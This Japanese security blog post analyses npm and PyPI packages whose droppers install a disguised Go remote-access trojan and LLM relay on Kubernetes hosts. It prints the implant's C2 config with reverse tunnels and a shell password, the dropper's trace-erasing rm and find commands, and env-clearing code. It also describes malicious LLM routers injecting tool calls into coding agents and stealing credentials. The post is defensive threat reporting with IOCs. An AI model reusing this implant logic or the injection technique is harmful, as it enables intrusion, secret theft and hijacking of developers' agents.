Aikido

npmとPyPIに存在するGPT-Proxyバックドアが、サーバーを中国のLLM中継サーバーに変えてしまう

執筆者
Ilyas Makari

最近、npm上で2つの悪意のあるパッケージを確認しました(kube-health-tools) および PyPI (kube-node-health)は、Kubernetes環境を標的としているように見えます。どちらのパッケージも、一見すると無害に見え、Kubernetesを連想させる名前を使って正当なものであるかのように装っています。しかし、実際には、被害者のマシンにLLMプロキシサービスを密かにインストールし、攻撃者がLLMトラフィックを、あたかも商用AI再販プラットフォームの単なる中継ノードであるかのように、侵害されたサーバーを経由してルーティングできるようにします。

ステージ1:ドロッパーズ

どちらのパッケージも、ペイロードとしてコンパイル済みのネイティブバイナリを同梱しています。

ステージ1のファイルは以下の2つです:

  • __init___cpython-311-x86_64-linux-gnu.so  (PyPIパッケージ)
  • addon.node  (npmパッケージ)

どちらも、インポート時または require()。この .so はCythonでコンパイルされたPython拡張モジュールです。 .node はNode.jsのネイティブアドオンです。どちらもGitHubからステージ2バイナリをダウンロードします。PyPIドロッパー内のエンコードされたURLは、以下に解決されます:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packed

このnpm dropperは、同じリリースからより高性能なバージョンを取得します:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packed

両方のバイナリは /tmp/.kh、実行可能としてマークされ、直ちに起動された。

両方のドロッパーには、起動時にステージ2バイナリに直接渡されるXOR暗号化された設定データも埋め込まれています。ステージ2バイナリは標準入力から設定を読み取り、復号化した上で、それを実行時設定として使用します:

{
  "server": "https://sync[.]geeker[.]indevs[.]in",
  "auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
  "tunnels": [
    "R:4444:127.0.0.1:0",
    "R:4446:127.0.0.1:22",
    "R:4445:127.0.0.1:8200"
  ],
  "shell": {
    "enabled": true,
    "password": "123qweASD",
    "auth_keys": []
  },
  "disguise": {
    "process_name": "node-health-check",
    "argv": "--mode=daemon"
  },
  "keepalive": "25s",
  "max_retry_interval": "30s",
  "headers": {
    "User-Agent": "Mozilla/5.0"
  },
  "tls_skip_verify": true
}

この設定からは、運用に関するいくつかのことがわかります。コマンド&コントロール(C2)サーバーは sync.geeker.indevs.in、ハードコードされた認証情報で認証された(skywork:e5c2b988f369d9e51f30985eb8c1c5ae). 変装ブロックは、インプラントに対し、そのプロセスを node-health-check --mode=daemon、プロセス一覧の中で正規のツールと見分けがつかないように偽装している。

設定内の3つのリバーストンネルは、それぞれ攻撃者のC2サーバー上のポートを、被害者のマシン上のローカルサービスにマッピングしています:

  • ポート4444 ~へのルート 127.0.0.1:0 (LLMプロキシ)
  • ポート4446 ~へのルート 127.0.0.1:22 (被害者のSSHサーバー)
  • ポート4445 ~へのルート 127.0.0.1:8200 (HashiCorp Vaultのデフォルトポート。Kubernetes環境で一般的にシークレット )

npm版にはngrokのフォールバック機能も含まれており、C2から提供されるngrokアカウントのプールを順次切り替えながら、パブリックエンドポイントを通じて被害者のサーバーを公開します。

ステージ2のバイナリを起動した後、ドロッパースクリプトは自身の実行痕跡を積極的に消去します。ダウンロードされたバイナリを /tmp/.kh、2つ目の一時ファイルを /tmp/.ns、そして、とりわけ注目すべきは、全体を再帰的に削除することです kube-health-tools パッケージディレクトリから node_modules:

sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -path "*/node_modules/*" -exec rm -rf {} + 2>/dev/null

ステージ2バイナリが実行されてから2秒以内に、インストールに関連する痕跡はすべて消え去る。インシデント発生後のフォレンジックスキャンでは、 node_modules 何も見つからないでしょう。

ステージ2:リモートアクセス型トロイの木馬

ステージ2バイナリは、複数の機能が単一の実行ファイルにまとめられたコンパイル済みのGoバイナリです。これは sync.geeker.indevs.in WebSocket経由でSSHセッションを確立し、 チゼルによるトンネル掘削 configで定義されたトンネルを登録するためのプロトコル。

このインプラントは、WebSocket 経由で Chisel トンネリングを実装しています:

  • SOCKS5プロキシ:このバイナリは完全なSOCKS5プロキシとして機能し、攻撃者が被害者のネットワークを経由して任意のTCPトラフィックを転送することを可能にする。
  • リバースシェル: パスワードが設定されています(123qweASD)は、dropperの設定ブロック内にあり、完全な対話型ターミナルを提供します。
  • SFTPサーバー:完全なSFTPサーバーが同梱されており、攻撃者にファイルシステムへの完全な読み書きアクセス権限を与えてしまいます。
  • LLMプロキシ:リクエストを受け付け、攻撃者が提供するルーターを経由して上流へ転送する、OpenAI互換API 。

このバイナリは、起動後に自身を隠蔽するように設計されています。プロセスの名前を ノードのヘルスチェック 引数とともに --mode=daemonこれにより、プロセス一覧の中で正規のツールと見分けがつかなくなる。また、起動直後にすべての関連する環境変数を消去する:

func ClearEnv() {
    for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
        os.Unsetenv(name)
    }
    const aesKey = "s0m3R4nd0mK3y2026xYz"
    for _, kv := range os.Environ() {
        parts := strings.SplitN(kv, "=", 2)
        if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
            os.Unsetenv(parts[0])
        }
    }
}

これにより、もし KH_CFG または NHC_CFG operator-override変数が設定されていた場合、検査によって検出される前に、その変数は環境から消えてしまいます。

LLMプロキシ

このインプラントには、ステージ2バイナリに直接組み込まれた、完全に機能するOpenAI互換のLLMプロキシが含まれています。これは、リクエストを受け付け、shubiaobiaoのような中国のLLMルーターを含む上流のAPIへ転送API のようです。

このプロキシは、トンネル経由でアクセス可能な4つのインバウンドルートを公開しています:

  • GET /health → 200 OK
  • GET /v1/models → 設定済みのモデルをすべて表示する
  • POST /v1/chat/completions → 上流への経路
  • POST /v1/completions → 上流への経路

リクエストが送信されると /v1/chat/completions、プロキシ:

  1. を読み込みます モデル リクエスト本文のフィールド
  2. C2から提供されたルーティングテーブルでモデル名を検索する
  3. 以下のいずれかからAPI を選択します key_normal または key_ultra プールは、設定に応じて key_type フィールド
  4. アップストリームのホスト、パス、およびベアラー認証トークンを使用してリクエストを書き換えます。
  5. リクエストを転送し、レスポンスをストリーミングで返す

バイナリ内に見つかった上流パス文字列に基づき、ルーティングテーブルはモデル名を次のようなパスにマッピングします:

https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completions

会社情報 /gpt-proxy/ パスプレフィックスは、「shubiaobiao」、「cloudsway」、「volengine」といったベンダー名と組み合わさることで、公式プロバイダーのAPIではなく、仲介アグリゲーターを指し示しています。どちらも api.openai.comapi.anthropic.com バイナリ内のどこかに出現する。

このバイナリには、/v1/models レスポンスの生成に使用される、109個のハードコードされたモデル名文字列が含まれています。これらは主要なフロンティア・プロバイダーを網羅しており、Anthropic のモデルも含まれています(claude-opus-4.6, claude-sonnet-4.6-thinking)、OpenAI (gpt-5.4, gpt-5.3-codex)、Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7)、およびアリババ(qwen3-235b-a22b-instruct-2507)。

中国のプロキシ・エコシステム

中国における脅威の状況では、侵害されたマシン上でプロキシサーバーを稼働させるという行為が繰り返し見られるが、その背景には「グレート・ファイアウォール」による規制がある。以前、 アンラボ 攻撃者が、脆弱性のあるハニーポットサーバーにTinyProxyやSing-boxといったツールを展開し、隠蔽されたプロキシサービスを実行していることが判明した。実際、GitHubアカウント gibunxi4201ステージ2のペイロードをホストしているこのサイトは、リリース履歴に他のプロキシ関連のプロジェクトも含まれているようであり、これは主にプロキシインフラストラクチャに注力しているオペレーターの特徴と一致している。

こうしたプロキシツールは、無料のプロキシIPを得るために脆弱なサーバーに導入されることが多いだけでなく、HuggingFace、Databricks、Streamlitといった無料サービスにも導入され、グレート・ファイアウォールの制限を受けずにウェブを閲覧するために利用されています。その手口は常に同じで、安価なリソースやセキュリティ侵害を受けたリソースを見つけ出し、それを無料のプロキシサーバーに変えてしまうというものです。

中国の開発者は、地域制限のためAIモデルにアクセスできないことがよくあります。この状況により、API 闇市場が急成長しています。Xianyu、Goofish、Taobaoといった中国のプラットフォームには、ルーターのエンドポイント(このマルウェアに見られるようなもの)を介して、ChatGPT、Claude、Geminiへのアクセスを公式価格のわずか数分の1で提供する売り手の出品が溢れています。さらには、独自のLLMルーターを運用して収益化する方法に関する講座を提供している売り手さえ存在します。

悪意のあるLLMルーター

AIへの安価なアクセスを提供するだけでなく、ここで導入されたようなLLMルーターは、悪用されやすい信頼境界に位置しています。すべてのリクエストが平文でルーターを通過するため、Hanzhi Liuらによって報告されているように、悪意のあるオペレーターは

  • コーディングエージェントの応答がクライアントに届く前に、そこに悪意のあるツール呼び出しを挿入し、悪意のある pip install または curl | bash 飛行中のペイロード
  • リクエストおよびレスポンスのシークレット 、API 、AWS認証情報、GitHubトークン、イーサリアムの秘密鍵、システムプロンプトなどのシークレット 密かに抽出する

研究者らは、428台の汎用ルーターからなるコーパスを調査した結果、そのうち9台が返されたツール呼び出しに悪意のあるコードを積極的に挿入しており、17台が転送中の研究者所有のAWSカナリア認証情報を検知した後、それらにアクセスしていたことが判明した。

この特定のインプラントについては、インジェクションやデータ流出の証拠は見つからなかったものの、AIコーディングツールの通信経路が侵害されたマシンを経由している開発者は、事実上、コンテキストウィンドウ全体を攻撃者が制御する中継サーバーを経由させていることになる。

方法 Aikido これをどのように検知するか

もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。

まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。

チーム全体をより広くカバーするには、 Aikidoの「エンドポイント保護」は、チームのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。

将来的なセキュリティ対策として、オープンソースの「Aikido Chain」の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、インストール前にAikido データベースと照合してパッケージを検証します。

IOCs

悪意のあるパッケージ

  • PyPI: kube-node-health
  • npm: kube-health-tools

ファイルのハッシュ値

  • __init___cpython-311-x86_64-linux-gnu.so (PyPI ステージ1)
    • SHA256: b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
  • addon.node (npm ステージ1)
    • SHA256: 5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
  • kube-diag-linux-amd64-packed (ステージ2 PyPI バリアント)
    • SHA256: fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
  • kube-diag-full-linux-amd64-packed (ステージ2 npm バリアント)
    • SHA256: 3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300

ネットワーク指標

  • C2サーバー: sync.geeker.indevs.in
  • ステージ2のダウンロード: github[.]com/gibunxi4201/kube-node-diag

プロセス指標

  • プロセス名: ノードのヘルスチェック
  • 一時的なダウンロード先: /tmp/.kh そして /tmp/.ns
共有:

https://www.aikido.dev/blog/gpt-proxy-backdoor-npm-pypi-chinese-llm-relay

本日より無料で開始いただけます。

無料で始める
CC不要

脅威ニュースをサブスクライブ

4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。